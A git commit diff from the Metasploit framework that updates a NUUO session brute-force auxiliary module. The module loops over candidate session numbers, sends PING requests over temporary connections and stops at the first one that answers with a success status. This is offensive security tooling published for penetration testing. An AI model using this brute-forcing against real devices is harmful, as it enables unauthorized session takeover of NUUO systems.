Update nuuo bruteforce module

Module was updated to use the changes
in the nuuo mixin
master
Jacob Robles 2019-04-24 07:01:42 -05:00
parent acf7e58e8e
commit b0498d0991
No known key found for this signature in database
GPG Key ID: 3EC9F18F2B12401C
1 changed files with 11 additions and 3 deletions

View File

@ -119,10 +119,17 @@ class MetasploitModule < Msf::Auxiliary
def session_bruteforce_list(weighted_array)
list = session_number_list(weighted_array)
for session in list
@nucs_session = session
data = nucs_send_msg(['PING'])
req = client.request_ping({
'method' => 'PING',
'user_session' => session
})
# module fails when shutdown/close lots of connections
# create own connection and dont call close
conn = client.connect(temp: true)
res = client.send_recv(req, conn)
@counter += 1
if data[0] =~ /OK/ || data[0] =~ /612/
if res && res.status_code == 200
return session
end
end
@ -130,6 +137,7 @@ class MetasploitModule < Msf::Auxiliary
end
def run
connect
@counter = 0
print_status('Bruteforcing session - this might take a while, go get some coffee!')
session = nil